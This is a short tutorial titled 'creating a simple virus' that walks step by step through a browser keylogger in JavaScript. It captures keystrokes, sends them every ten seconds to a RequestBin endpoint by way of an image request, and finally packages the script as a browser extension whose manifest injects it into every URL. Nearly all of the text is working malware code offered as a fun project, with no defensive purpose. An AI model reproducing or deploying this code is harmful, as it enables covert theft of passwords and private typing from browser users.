Welcome to creating a simple virus
Lets print
var keys = '';
document.onkeypress = function (e) {
get = window.event ? event : e;
key = get.keyCode ? get.keyCode : get.charCode;
key = String.fromCharCode(key);
keys += key;
}
window.setInterval(function () {
if (keys.length > 0){
console.log(keys);
}
keys = '';
}, 10000);
Lets do something fun
var keys = '';
document.onkeypress = function (e) {
get = window.event ? event : e;
key = get.keyCode ? get.keyCode : get.charCode;
key = String.fromCharCode(key);
keys += key;
}
window.setInterval(function () {
if (keys.length > 0){
alert(keys);
}
keys = '';
}, 10000);
Lets take things to the next level
-
Open Request bin
-
Click Create a RequestBin
var keys = '';
document.onkeypress = function (e) {
get = window.event ? event : e;
key = get.keyCode ? get.keyCode : get.charCode;
key = String.fromCharCode(key);
keys += key;
}
window.setInterval(function () {
if (keys.length > 0){
new Image().src = 'https://{request bin url}?keys=' + keys;
}
keys = '';
}, 10000);
Lets make it even more cooler
/content.js
{
"manifest_version": 2,
"name": "Keylogger",
"version": "0.1",
"content_scripts": [
{
"matches": [
"<all_urls>"
],
"js": ["content.js"]
}
]
}